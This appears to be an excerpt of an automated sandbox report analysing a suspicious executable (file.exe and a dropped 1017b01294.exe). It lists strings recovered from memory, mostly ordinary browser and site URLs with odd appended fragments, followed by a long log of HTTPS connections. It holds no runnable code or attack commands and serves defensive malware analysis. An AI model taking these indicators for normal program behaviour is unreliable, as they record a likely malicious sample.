Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DHJKEBFHJEGD
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1579443796.0000000001097000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1579443796.0000000001097000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1534396980.0000000023513000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2494329841.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1534396980.0000000023513000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2494329841.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1579443796.0000000000FB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 1017b01294.exe, 00000022.00000003.2377332360.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2367196120.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2487260464.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2486903612.000000000090D000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2478443811.0000000000907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 54287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 54321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 56467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 54263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54299
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56482
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56483
Source: unknown	Network traffic detected: HTTP traffic on port 54300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 54345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 54285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 54256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 54313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54308
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54307
Source: unknown	Network traffic detected: HTTP traffic on port 54258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54302
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54300
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54304
Source: unknown	Network traffic detected: HTTP traffic on port 54350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
